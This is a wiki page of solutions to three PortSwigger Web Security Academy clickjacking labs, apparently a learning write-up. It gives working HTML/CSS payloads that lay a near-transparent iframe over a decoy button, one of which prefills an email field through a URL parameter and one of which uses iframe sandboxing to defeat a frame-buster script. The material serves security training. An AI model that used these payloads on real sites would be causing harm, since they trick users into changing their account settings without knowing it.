-
Notifications
You must be signed in to change notification settings - Fork 0
Clickjacking
Alnoman Kamil edited this page Nov 26, 2024
·
9 revisions
Apprentice lab:
Basic clickjacking with CSRF token protection
Apprentice lab:
Basic clickjacking with CSRF token protection
-
Solution
- Payload
<style> iframe { position:relative; width:1000px; height:700px; opacity:0.0001; z-index: 2; } div { position:absolute; top:515px; left:60px; z-index: 1; } </style> <div>click</div> <iframe src="https://uuid.web-security-academy.net/my-account"></iframe>
- Payload
Apprentice lab:
Clickjacking with form input data prefilled from a URL parameter
Apprentice lab:
Clickjacking with form input data prefilled from a URL parameter
-
Solution
- Payload
<style> iframe { position:relative; width:700px; height:500px; opacity:0.0001; z-index: 2; } div { position:absolute; top:450px; left:80px; z-index: 1; } </style> <div>click</div> <iframe src="https://0ad9003504def6cd828decd300f4001f.web-security-academy.net/[email protected]"></iframe>
- Payload
Apprentice lab:
Clickjacking with a frame buster script
Apprentice lab:
Clickjacking with a frame buster script
-
Solution
- Payload.
<style> iframe { position:relative; width:700px; height:500px; opacity:0.0001; z-index: 2; } div { position:absolute; top:450px; left:80px; z-index: 1; } </style> <div>click</div> <iframe sandbox="allow-forms" src="https://uuid.web-security-academy.net/[email protected]"></iframe>
- Payload.
Note
Always use Chromium for Clickjacking labs!
Solutions for the Portswigger's Web Security Academy using mitmproxy and other cli tools instead of Burp Suite
Server-side topics:
- SQL injection
- Authentication
- File path traversal
- OS command injection
- Business logic vulnerabilities
- Information disclosure
- Access control vulnerabilities
- File upload vulnerabilities
- Race conditions
- Server-side request forgery (SSRF)
- XML external entity (XXE) injection
- NoSQL injection
- API testing
- Web cache deception
Client-side topics:
- Cross-site scripting (XSS)
- Cross-site request forgery (CSRF)
- Cross-origin resource sharing (CORS)
- Clickjacking
- DOM-based vulnerabilities
- WebSockets
Advanced topics: